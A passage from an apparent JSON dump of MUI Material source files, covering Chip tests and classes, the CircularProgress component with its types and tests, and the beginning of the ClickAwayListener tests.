expect(chip).to.have.class(classes.focusVisible);\n      } else {\n        expect(chip).not.to.have.class(classes.focusVisible);\n      }\n\n      focusVisible(chip);\n\n      expect(chip).to.have.class(classes.focusVisible);\n    });\n\n    it('should reset the focused state', () => {\n      const { container, setProps } = render(<Chip label=\"Test Chip\" onClick={() => {}} />);\n      const chip = container.querySelector(`.${classes.root}`);\n\n      simulatePointerDevice();\n      focusVisible(chip);\n\n      expect(chip).to.have.class(classes.focusVisible);\n\n      setProps({ disabled: true });\n\n      expect(chip).not.to.have.class(classes.focusVisible);\n    });\n  });\n\n  describe('CSS vars', () => {\n    it('should not throw when there is theme value is CSS variable', () => {\n      const theme = createTheme({ cssVariables: true });\n      theme.palette = theme.colorSchemes.light.palette;\n      theme.palette.text = {\n        ...theme.palette.text,\n        primary: 'var(--mui-palette-grey-900)',\n      };\n      expect(() =>\n        render(\n          <ThemeProvider disableStyleSheetGeneration theme={theme}>\n            <Chip label=\"Test Chip\" />\n          </ThemeProvider>,\n        ),\n      ).not.to.throw();\n    });\n  });\n\n  it('should not throw on clicking Chip when onClick is not provided', () => {\n    expect(() => {\n      render(<Chip data-testid=\"chip\" />);\n      const chip = screen.getByTestId('chip');\n      fireEvent.click(chip);\n    }).not.throw();\n  });\n\n  it('should not throw on keydown when onKeyDown is not provided', () => {\n    expect(() => {\n      render(<Chip data-testid=\"chip\" onClick={() => {}} />);\n      const chip = screen.getByTestId('chip');\n      act(() => {\n        chip.focus();\n      });\n\n      fireEvent.keyDown(chip, { key: 'Enter' });\n    }).not.throw();\n  });\n\n  it('should not throw on keyup when onKeyUp is not provided', () => {\n    expect(() => {\n      render(<Chip data-testid=\"chip\" onClick={() => {}} />);\n      const chip = screen.getByTestId('chip');\n      act(() => {\n        chip.focus();\n      });\n\n      fireEvent.keyUp(chip, { key: ' ' });\n    }).not.throw();\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Chip/chipClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ChipClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `size=\"medium\"`. */\n  sizeMedium: string;\n  /** Styles applied to the root element if `color=\"default\"`. */\n  colorDefault: string;\n  /** Styles applied to the root element if `color=\"error\"`. */\n  colorError: string;\n  /** Styles applied to the root element if `color=\"info\"`. */\n  colorInfo: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** Styles applied to the root element if `color=\"success\"`. */\n  colorSuccess: string;\n  /** Styles applied to the root element if `color=\"warning\"`. */\n  colorWarning: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element if `onClick` is defined or `clickable={true}`. */\n  clickable: string;\n  /** Styles applied to the root element if `onDelete` is defined. */\n  deletable: string;\n  /** Styles applied to the root element if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the root element if `variant=\"filled\"`. */\n  filled: string;\n  /** Styles applied to the avatar element. */\n  avatar: string;\n  /** Styles applied to the icon element. */\n  icon: string;\n  /** Styles applied to the label `span` element. */\n  label: string;\n  /** Styles applied to the deleteIcon element. */\n  deleteIcon: string;\n  /** State class applied to the root element if keyboard focused. */\n  focusVisible: string;\n}\n\nexport type ChipClassKey = keyof ChipClasses;\n\nexport function getChipUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiChip', slot);\n}\n\nconst chipClasses: ChipClasses = generateUtilityClasses('MuiChip', [\n  'root',\n  'sizeSmall',\n  'sizeMedium',\n  'colorDefault',\n  'colorError',\n  'colorInfo',\n  'colorPrimary',\n  'colorSecondary',\n  'colorSuccess',\n  'colorWarning',\n  'disabled',\n  'clickable',\n  'deletable',\n  'outlined',\n  'filled',\n  'avatar',\n  'icon',\n  'label',\n  'deleteIcon',\n  'focusVisible',\n]);\n\nexport default chipClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Chip/index.d.ts",
    "content": "export { default } from './Chip';\nexport * from './Chip';\n\nexport { default as chipClasses } from './chipClasses';\nexport * from './chipClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Chip/index.js",
    "content": "export { default } from './Chip';\n\nexport { default as chipClasses } from './chipClasses';\nexport * from './chipClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CircularProgress/CircularProgress.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { CircularProgressClasses } from './circularProgressClasses';\n\nexport interface CircularProgressPropsColorOverrides {}\nexport interface CircularProgressPropsVariantOverrides {}\n\nexport interface CircularProgressProps extends StandardProps<\n  React.HTMLAttributes<HTMLSpanElement>,\n  'children'\n> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<CircularProgressClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color?:\n    | OverridableStringUnion<\n        'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning' | 'inherit',\n        CircularProgressPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the shrink animation is disabled.\n   * This only works if variant is `indeterminate`.\n   * @default false\n   */\n  disableShrink?: boolean | undefined;\n  /**\n   * If `true`, a track circle slot is mounted to show a subtle background for the progress.\n   * The `size` and `thickness` apply to the track slot to be consistent with the progress circle.\n   * @default false\n   */\n  enableTrackSlot?: boolean | undefined;\n  /**\n   * The size of the component.\n   * If using a number, the pixel unit is assumed.\n   * If using a string, you need to provide the CSS unit, for example '3rem'.\n   * @default 40\n   */\n  size?: number | string | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The thickness of the circle.\n   * @default 3.6\n   */\n  thickness?: number | undefined;\n  /**\n   * The value of the progress indicator for the determinate variant.\n   * Value between 0 and 100.\n   * @default 0\n   */\n  value?: number | undefined;\n  /**\n   * The variant to use.\n   * Use indeterminate when there is no progress value.\n   * @default 'indeterminate'\n   */\n  variant?:\n    | OverridableStringUnion<'determinate' | 'indeterminate', CircularProgressPropsVariantOverrides>\n    | undefined;\n}\n\n/**\n * ## ARIA\n *\n * If the progress bar is describing the loading progress of a particular region of a page,\n * you should use `aria-describedby` to point to the progress bar, and set the `aria-busy`\n * attribute to `true` on that region until it has finished loading.\n *\n * Demos:\n *\n * - [Progress](https://next.mui.com/material-ui/react-progress/)\n *\n * API:\n *\n * - [CircularProgress API](https://next.mui.com/material-ui/api/circular-progress/)\n */\nexport default function CircularProgress(props: CircularProgressProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/CircularProgress/CircularProgress.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { keyframes, css, styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { getCircularProgressUtilityClass } from './circularProgressClasses';\n\nconst SIZE = 44;\n\nconst circularRotateKeyframe = keyframes`\n  0% {\n    transform: rotate(0deg);\n  }\n\n  100% {\n    transform: rotate(360deg);\n  }\n`;\n\nconst circularDashKeyframe = keyframes`\n  0% {\n    stroke-dasharray: 1px, 200px;\n    stroke-dashoffset: 0;\n  }\n\n  50% {\n    stroke-dasharray: 100px, 200px;\n    stroke-dashoffset: -15px;\n  }\n\n  100% {\n    stroke-dasharray: 1px, 200px;\n    stroke-dashoffset: -126px;\n  }\n`;\n\n// This implementation is for supporting both Styled-components v4+ and Pigment CSS.\n// A global animation has to be created here for Styled-components v4+ (https://github.com/styled-components/styled-components/blob/main/packages/styled-components/src/utils/errors.md#12).\n// which can be done by checking typeof indeterminate1Keyframe !== 'string' (at runtime, Pigment CSS transform keyframes`` to a string).\nconst rotateAnimation =\n  typeof circularRotateKeyframe !== 'string'\n    ? css`\n        animation: ${circularRotateKeyframe} 1.4s linear infinite;\n      `\n    : null;\n\nconst dashAnimation =\n  typeof circularDashKeyframe !== 'string'\n    ? css`\n        animation: ${circularDashKeyframe} 1.4s ease-in-out infinite;\n      `\n    : null;\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, variant, color, disableShrink } = ownerState;\n\n  const slots = {\n    root: ['root', variant, `color${capitalize(color)}`],\n    svg: ['svg'],\n    track: ['track'],\n    circle: ['circle', disableShrink && 'circleDisableShrink'],\n  };\n\n  return composeClasses(slots, getCircularProgressUtilityClass, classes);\n};\n\nconst CircularProgressRoot = styled('span', {\n  name: 'MuiCircularProgress',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[ownerState.variant],\n      styles[`color${capitalize(ownerState.color)}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    display: 'inline-block',\n    variants: [\n      {\n        props: {\n          variant: 'determinate',\n        },\n        style: {\n          transition: theme.transitions.create('transform'),\n        },\n      },\n      {\n        props: {\n          variant: 'indeterminate',\n        },\n        style: rotateAnimation || {\n          animation: `${circularRotateKeyframe} 1.4s linear infinite`,\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            color: (theme.vars || theme).palette[color].main,\n          },\n        })),\n    ],\n  })),\n);\n\nconst CircularProgressSVG = styled('svg', {\n  name: 'MuiCircularProgress',\n  slot: 'Svg',\n})({\n  display: 'block', // Keeps the progress centered\n});\n\nconst CircularProgressCircle = styled('circle', {\n  name: 'MuiCircularProgress',\n  slot: 'Circle',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.circle, ownerState.disableShrink && styles.circleDisableShrink];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    stroke: 'currentColor',\n    variants: [\n      {\n        props: {\n          variant: 'determinate',\n        },\n        style: {\n          transition: theme.transitions.create('stroke-dashoffset'),\n        },\n      },\n      {\n        props: {\n          variant: 'indeterminate',\n        },\n        style: {\n          // Some default value that looks fine waiting for the animation to kicks in.\n          strokeDasharray: '80px, 200px',\n          strokeDashoffset: 0, // Add the unit to fix a Edge 16 and below bug.\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.variant === 'indeterminate' && !ownerState.disableShrink,\n        style: dashAnimation || {\n          // At runtime for Pigment CSS, `bufferAnimation` will be null and the generated keyframe will be used.\n          animation: `${circularDashKeyframe} 1.4s ease-in-out infinite`,\n        },\n      },\n    ],\n  })),\n);\n\nconst CircularProgressTrack = styled('circle', {\n  name: 'MuiCircularProgress',\n  slot: 'Track',\n})(\n  memoTheme(({ theme }) => ({\n    stroke: 'currentColor',\n    opacity: (theme.vars || theme).palette.action.activatedOpacity,\n  })),\n);\n\n/**\n * ## ARIA\n *\n * If the progress bar is describing the loading progress of a particular region of a page,\n * you should use `aria-describedby` to point to the progress bar, and set the `aria-busy`\n * attribute to `true` on that region until it has finished loading.\n */\nconst CircularProgress = React.forwardRef(function CircularProgress(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiCircularProgress' });\n  const {\n    className,\n    color = 'primary',\n    disableShrink = false,\n    enableTrackSlot = false,\n    size = 40,\n    style,\n    thickness = 3.6,\n    value = 0,\n    variant = 'indeterminate',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    color,\n    disableShrink,\n    size,\n    thickness,\n    value,\n    variant,\n    enableTrackSlot,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const circleStyle = {};\n  const rootStyle = {};\n  const rootProps = {};\n\n  if (variant === 'determinate') {\n    const circumference = 2 * Math.PI * ((SIZE - thickness) / 2);\n    circleStyle.strokeDasharray = circumference.toFixed(3);\n    rootProps['aria-valuenow'] = Math.round(value);\n    circleStyle.strokeDashoffset = `${(((100 - value) / 100) * circumference).toFixed(3)}px`;\n    rootStyle.transform = 'rotate(-90deg)';\n  }\n\n  return (\n    <CircularProgressRoot\n      className={clsx(classes.root, className)}\n      style={{ width: size, height: size, ...rootStyle, ...style }}\n      ownerState={ownerState}\n      ref={ref}\n      role=\"progressbar\"\n      {...rootProps}\n      {...other}\n    >\n      <CircularProgressSVG\n        className={classes.svg}\n        ownerState={ownerState}\n        viewBox={`${SIZE / 2} ${SIZE / 2} ${SIZE} ${SIZE}`}\n      >\n        {enableTrackSlot ? (\n          <CircularProgressTrack\n            className={classes.track}\n            ownerState={ownerState}\n            cx={SIZE}\n            cy={SIZE}\n            r={(SIZE - thickness) / 2}\n            fill=\"none\"\n            strokeWidth={thickness}\n            aria-hidden=\"true\"\n          />\n        ) : null}\n        <CircularProgressCircle\n          className={classes.circle}\n          style={circleStyle}\n          ownerState={ownerState}\n          cx={SIZE}\n          cy={SIZE}\n          r={(SIZE - thickness) / 2}\n          fill=\"none\"\n          strokeWidth={thickness}\n        />\n      </CircularProgressSVG>\n    </CircularProgressRoot>\n  );\n});\n\nCircularProgress.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['inherit', 'primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the shrink animation is disabled.\n   * This only works if variant is `indeterminate`.\n   * @default false\n   */\n  disableShrink: chainPropTypes(PropTypes.bool, (props) => {\n    if (props.disableShrink && props.variant && props.variant !== 'indeterminate') {\n      return new Error(\n        'MUI: You have provided the `disableShrink` prop ' +\n          'with a variant other than `indeterminate`. This will have no effect.',\n      );\n    }\n\n    return null;\n  }),\n  /**\n   * If `true`, a track circle slot is mounted to show a subtle background for the progress.\n   * The `size` and `thickness` apply to the track slot to be consistent with the progress circle.\n   * @default false\n   */\n  enableTrackSlot: PropTypes.bool,\n  /**\n   * The size of the component.\n   * If using a number, the pixel unit is assumed.\n   * If using a string, you need to provide the CSS unit, for example '3rem'.\n   * @default 40\n   */\n  size: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The thickness of the circle.\n   * @default 3.6\n   */\n  thickness: PropTypes.number,\n  /**\n   * The value of the progress indicator for the determinate variant.\n   * Value between 0 and 100.\n   * @default 0\n   */\n  value: PropTypes.number,\n  /**\n   * The variant to use.\n   * Use indeterminate when there is no progress value.\n   * @default 'indeterminate'\n   */\n  variant: PropTypes.oneOf(['determinate', 'indeterminate']),\n};\n\nexport default CircularProgress;\n"
  },
  {
    "path": "packages/mui-material/src/CircularProgress/CircularProgress.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport CircularProgress, {\n  circularProgressClasses as classes,\n} from '@mui/material/CircularProgress';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<CircularProgress />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<CircularProgress />, () => ({\n    classes,\n    inheritComponent: 'span',\n    render,\n    muiName: 'MuiCircularProgress',\n    testDeepOverrides: { slotName: 'circle', slotClassName: classes.circle },\n    testVariantProps: { variant: 'determinate' },\n    refInstanceof: window.HTMLSpanElement,\n    skip: ['componentProp'],\n  }));\n\n  it('should render with the primary color by default', () => {\n    const { container } = render(<CircularProgress />);\n    const circularProgress = container.firstChild;\n    expect(circularProgress).to.have.class(classes.colorPrimary);\n  });\n\n  it('should render with the primary color', () => {\n    const { container } = render(<CircularProgress color=\"primary\" />);\n    const circularProgress = container.firstChild;\n    expect(circularProgress).to.have.class(classes.colorPrimary);\n  });\n\n  it('should render with the secondary color', () => {\n    const { container } = render(<CircularProgress color=\"secondary\" />);\n    const circularProgress = container.firstChild;\n    expect(circularProgress).to.have.class(classes.colorSecondary);\n  });\n\n  it('should contain an SVG with the svg class, and a circle with the circle class', () => {\n    const { container } = render(<CircularProgress />);\n    const circularProgress = container.firstChild;\n    const svg = circularProgress.firstChild;\n    expect(svg).to.have.tagName('svg');\n    expect(circularProgress).to.have.class(classes.indeterminate);\n    expect(svg.firstChild).to.have.tagName('circle');\n    expect(svg.firstChild).to.have.class(classes.circle, 'should have the circle class');\n  });\n\n  it('should render indeterminate variant by default', () => {\n    const { container } = render(<CircularProgress />);\n    const circularProgress = container.firstChild;\n    expect(circularProgress).to.have.class(classes.root);\n    const svg = circularProgress.firstChild;\n    expect(circularProgress).to.have.class(\n      classes.indeterminate,\n      'should have the indeterminate class',\n    );\n    expect(svg.firstChild).to.have.class(classes.circle, 'should have the circle class');\n  });\n\n  it('should render with a different size', () => {\n    const { container } = render(<CircularProgress size={60} />);\n    const circularProgress = container.firstChild;\n    expect(circularProgress).to.have.class(classes.root);\n    expect(circularProgress.style.width).to.equal('60px', 'should have width correctly set');\n    expect(circularProgress.style.height).to.equal('60px', 'should have height correctly set');\n    const svg = circularProgress.firstChild;\n    expect(svg).to.have.tagName('svg');\n    const circle = svg.firstChild;\n    expect(circle).to.have.tagName('circle');\n    expect(circle).to.have.attribute('cx', '44');\n    expect(circle).to.have.attribute('cy', '44');\n  });\n\n  describe('prop: variant=\"determinate\"', () => {\n    it('should render with determinate classes', () => {\n      const { container } = render(<CircularProgress variant=\"determinate\" />);\n      const circularProgress = container.firstChild;\n      expect(circularProgress).to.have.class(classes.root);\n      const svg = circularProgress.firstChild;\n      expect(svg).to.have.tagName('svg');\n      expect(svg).not.to.have.class(\n        classes.svgIndeterminate,\n        'should not have the svgIndeterminate class',\n      );\n    });\n\n    it('should set strokeDasharray of circle', () => {\n      const { container } = render(<CircularProgress variant=\"determinate\" value={70} />);\n      const circularProgress = container.firstChild;\n      expect(circularProgress).to.have.class(classes.root);\n      const svg = circularProgress.firstChild;\n      const circle = svg.firstChild;\n      expect(circle.style.strokeDasharray).to.match(\n        /126\\.920?(px)?/gm,\n        'should have strokeDasharray set',\n      );\n      expect(circle.style.strokeDashoffset).to.equal(\n        '38.076px',\n        'should have strokeDashoffset set',\n      );\n      expect(circularProgress).to.have.attribute('aria-valuenow', '70');\n    });\n  });\n\n  describe('prop: disableShrink', () => {\n    it('should default to false', () => {\n      const { container } = render(<CircularProgress variant=\"indeterminate\" />);\n      const circularProgress = container.firstChild;\n      expect(circularProgress).to.have.class(classes.root);\n      const svg = circularProgress.firstChild;\n      const circle = svg.firstChild;\n      expect(circle).to.have.tagName('circle');\n      expect(circle).not.to.have.class(classes.circleDisableShrink);\n    });\n\n    it('should render without disableShrink class when set to false', () => {\n      const { container } = render(\n        <CircularProgress variant=\"indeterminate\" disableShrink={false} />,\n      );\n      const circularProgress = container.firstChild;\n      expect(circularProgress).to.have.class(classes.root);\n      const svg = circularProgress.firstChild;\n      const circle = svg.firstChild;\n      expect(circle).to.have.tagName('circle');\n      expect(circle).not.to.have.class(classes.circleDisableShrink);\n    });\n\n    it('should render with disableShrink class when set to true', () => {\n      const { container } = render(<CircularProgress variant=\"indeterminate\" disableShrink />);\n      const circularProgress = container.firstChild;\n      expect(circularProgress).to.have.class(classes.root);\n      const svg = circularProgress.firstChild;\n      const circle = svg.firstChild;\n      expect(circle).to.have.tagName('circle');\n      expect(circle).to.have.class(classes.circleDisableShrink);\n    });\n  });\n\n  describe('prop: enableTrackSlot', () => {\n    it('does not render track by default', () => {\n      const { container } = render(<CircularProgress />);\n      const circles = container.querySelectorAll('svg circle');\n      expect(circles.length).to.equal(1);\n    });\n\n    it('renders track when enableTrackSlot is true', () => {\n      const { container } = render(<CircularProgress enableTrackSlot />);\n      const circles = container.querySelectorAll('svg circle');\n      expect(circles.length).to.equal(2);\n      expect(circles[0]).to.have.class(classes.track);\n      expect(circles[0]).to.have.attribute('aria-hidden', 'true');\n    });\n\n    it('track and circle share geometry (r, strokeWidth)', () => {\n      const thickness = 5;\n      const { container } = render(<CircularProgress enableTrackSlot thickness={thickness} />);\n      const [trackEl, circleEl] = container.querySelectorAll('svg circle');\n      expect(trackEl.getAttribute('r')).to.equal(circleEl.getAttribute('r'));\n      expect(trackEl.getAttribute('stroke-width')).to.equal(String(thickness));\n    });\n\n    it('track has no dash styles in determinate', () => {\n      const { container } = render(\n        <CircularProgress enableTrackSlot variant=\"determinate\" value={70} />,\n      );\n      const [trackEl] = container.querySelectorAll('svg circle');\n      expect(trackEl.style.strokeDasharray).to.equal('');\n      expect(trackEl.style.strokeDashoffset).to.equal('');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/CircularProgress/circularProgressClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface CircularProgressClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `variant=\"determinate\"`. */\n  determinate: string;\n  /** Styles applied to the root element if `variant=\"indeterminate\"`. */\n  indeterminate: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** Styles applied to the svg element. */\n  svg: string;\n  /** Styles applied to the track slot if `enableTrackSlot={true}`. */\n  track: string;\n  /** Styles applied to the `circle` svg path. */\n  circle: string;\n  /** Styles applied to the `circle` svg path if `disableShrink={true}`. */\n  circleDisableShrink: string;\n}\n\nexport type CircularProgressClassKey = keyof CircularProgressClasses;\n\nexport function getCircularProgressUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiCircularProgress', slot);\n}\n\nconst circularProgressClasses: CircularProgressClasses = generateUtilityClasses(\n  'MuiCircularProgress',\n  [\n    'root',\n    'determinate',\n    'indeterminate',\n    'colorPrimary',\n    'colorSecondary',\n    'svg',\n    'track',\n    'circle',\n    'circleDisableShrink',\n  ],\n);\n\nexport default circularProgressClasses;\n"
  },
  {
    "path": "packages/mui-material/src/CircularProgress/index.d.ts",
    "content": "export { default } from './CircularProgress';\nexport * from './CircularProgress';\n\nexport { default as circularProgressClasses } from './circularProgressClasses';\nexport * from './circularProgressClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CircularProgress/index.js",
    "content": "export { default } from './CircularProgress';\n\nexport { default as circularProgressClasses } from './circularProgressClasses';\nexport * from './circularProgressClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ClickAwayListener/ClickAwayListener.test.js",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { act, createRenderer, fireEvent, screen } from '@mui/internal-test-utils';\nimport Portal from '@mui/material/Portal';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\n\ndescribe('<ClickAwayListener />', () => {\n  const { render: clientRender, clock } = createRenderer({ clock: 'fake' });\n  /**\n   * @type  {typeof plainRender extends (...args: infer T) => any ? T : never} args\n   *\n   * @remarks\n   * This is for all intents and purposes the same as our client render method.\n   * `plainRender` is already wrapped in act().\n   * However, React has a bug that flushes effects in a portal synchronously.\n   * We have to defer the effect manually like `useEffect` would so we have to flush the effect manually instead of relying on `act()`.\n   * React bug: https://github.com/facebook/react/issues/20074\n   */\n  function render(...args) {\n    // eslint-disable-next-line testing-library/render-result-naming-convention\n    const result = clientRender(...args);\n    clock.tick(0);\n    return result;\n  }\n\n  it('should render the children', () => {\n    const children = <span />;\n    const { container } = render(\n      <ClickAwayListener onClickAway={() => {}}>{children}</ClickAwayListener>,\n    );\n    expect(container.querySelectorAll('span').length).to.equal(1);\n  });\n\n  describe('prop: onClickAway', () => {\n    it('should be called when clicking away', () => {\n      const handleClickAway = spy();\n      render(\n        <ClickAwayListener onClickAway={handleClickAway}>\n          <span />\n        </ClickAwayListener>,\n      );\n\n      fireEvent.click(document.body);\n      expect(handleClickAway.callCount).to.equal(1);\n      expect(handleClickAway.args[0].length).to.equal(1);\n    });\n\n    it('should not be called when clicking inside', () => {\n      const handleClickAway = spy();\n      const { container } = render(\n        <ClickAwayListener onClickAway={handleClickAway}>\n          <span />\n        </ClickAwayListener>,\n      );\n\n      fireEvent.click(container.querySelector('span'));\n      expect(handleClickAway.callCount).to.equal(0);\n    });\n\n    it('should be called when preventDefault is `true`', () => {\n      const handleClickAway = spy();\n      render(\n        <ClickAwayListener onClickAway={handleClickAway}>\n          <span />\n        </ClickAwayListener>,\n      );\n      const preventDefault = (event) => event.preventDefault();\n      document.body.addEventListener('click', preventDefault);\n\n      fireEvent.click(document.body);\n      expect(handleClickAway.callCount).to.equal(1);\n\n      document.body.removeEventListener('click', preventDefault);\n    });\n\n    it('should not be called when clicking inside a portaled element', () => {\n      const handleClickAway = spy();\n\n      render(\n        <ClickAwayListener onClickAway={handleClickAway}>\n          <div>\n            <Portal>\n              <span>Inside a portal</span>\n            </Portal>\n          </div>\n        </ClickAwayListener>,\n      );\n\n      fireEvent.click(screen.getByText('Inside a portal'));\n      expect(handleClickAway.callCount).to.equal(0);\n    });\n\n    it('should be called when clicking inside a portaled element and `disableReactTree` is `true`', () => {\n      const handleClickAway = spy();\n\n      render(\n        <ClickAwayListener onClickAway={handleClickAway} disableReactTree>\n          <div>\n            <Portal>\n              <span>Inside a portal</span>\n            </Portal>\n          </div>\n        </ClickAwayListener>,\n      );\n\n      fireEvent.click(screen.getByText('Inside a portal'));\n      expect(handleClickAway.callCount).to.equal(1);\n    });\n\n    it('should not be called even if the event propagation is stopped', () => {\n      const handleClickAway = spy();\n\n      render(\n        <ClickAwayListener onClickAway={handleClickAway} disableReactTree>\n          <div>\n            <div\n              onClick={(event) => {\n                event.stopPropagation();\n              }}\n            >\n              Outside a portal\n            </div>\n            <Portal>\n              <span\n                onClick={(event) => {\n                  event.stopPropagation();\n                }}\n              >\n                Stop inside a portal\n              </span>\n            </Portal>\n            <Portal>\n              <span\n                onClick={(event) => {\n                  event.stopPropagation();\n                  event.nativeEvent.stopImmediatePropagation();\n                }}\n              >\n                Stop all inside a portal\n              </span>\n            </Portal>\n          </div>\n        </ClickAwayListener>,\n      );\n\n      fireEvent.click(screen.getByText('Outside a portal'));\n      expect(handleClickAway.callCount).to.equal(0);\n\n      fireEvent.click(screen.getByText('Stop all inside a portal'));\n      expect(handleClickAway.callCount).to.equal(0);\n\n      fireEvent.click(screen.getByText('Stop inside a portal'));\n      // undesired behavior in React 16\n      expect(handleClickAway.callCount).to.equal(React.version.startsWith('16') ? 1 : 0);\n    });\n\n    ['onClick', 'onClickCapture'].forEach((eventListenerName) => {\n      it(`should not be called when ${eventListenerName} mounted the listener`, () => {\n        function Test() {\n          const [open, setOpen] = React.useState(false);\n\n          return (\n            <React.Fragment>\n              <button data-testid=\"trigger\" {...{ [eventListenerName]: () => setOpen(true) }} />\n              {open &&\n                ReactDOM.createPortal(\n                  <ClickAwayListener onClickAway={() => setOpen(false)}>\n                    <div data-testid=\"child\" />\n                  </ClickAwayListener>,\n                  // Needs to be an element between the react root we render into and the element where CAL attaches its native listener (now: `document`).\n                  document.body,\n                )}\n            </React.Fragment>\n          );\n        }\n        render(<Test />);\n\n        fireEvent.click(screen.getByTestId('trigger'));\n\n        expect(screen.getByTestId('child')).not.to.equal(null);\n      });\n    });\n\n    it('should be called if an element is interleaved between mousedown and mouseup', () => {\n      /**\n       * @param {Element} element\n       * @returns {Element[]}\n       */\n      function ancestorElements(element) {\n        const ancestors = [];\n        let ancestor = element;\n        while (ancestor !== null) {\n          ancestors.unshift(ancestor);\n          ancestor = ancestor.parentElement;\n        }\n        return ancestors;\n      }\n\n      /**\n       * @param {Element} elementA\n       * @param {Element} elementB\n       * @returns {Element}\n       */\n      function findNearestCommonAncestor(elementA, elementB) {\n        const ancestorsA = ancestorElements(elementA);\n        const ancestorsB = ancestorElements(elementB);\n\n        if (ancestorsA[0] !== ancestorsB[0]) {\n          throw new Error('A and B share no common ancestor');\n        }\n\n        for (let index = 1; index < ancestorsA.length; index += 1) {\n          if (ancestorsA[index] !== ancestorsB[index]) {\n            return ancestorsA[index - 1];\n          }\n        }\n\n        throw new Error('Unreachable reached. This is a bug in findNearestCommonAncestor');\n      }\n\n      const onClickAway = spy();\n      function ClickAwayListenerMouseDownPortal() {\n        const [open, toggleOpen] = React.useReducer((flag) => !flag, false);\n\n        return (\n          <ClickAwayListener onClickAway={onClickAway}>\n            <div data-testid=\"trigger\" onMouseDown={toggleOpen}>\n              {open &&\n                // interleave an element during mousedown so that the following mouseup would not be targeted at the mousedown target.\n                // This results in the click event being targeted at the nearest common ancestor.\n                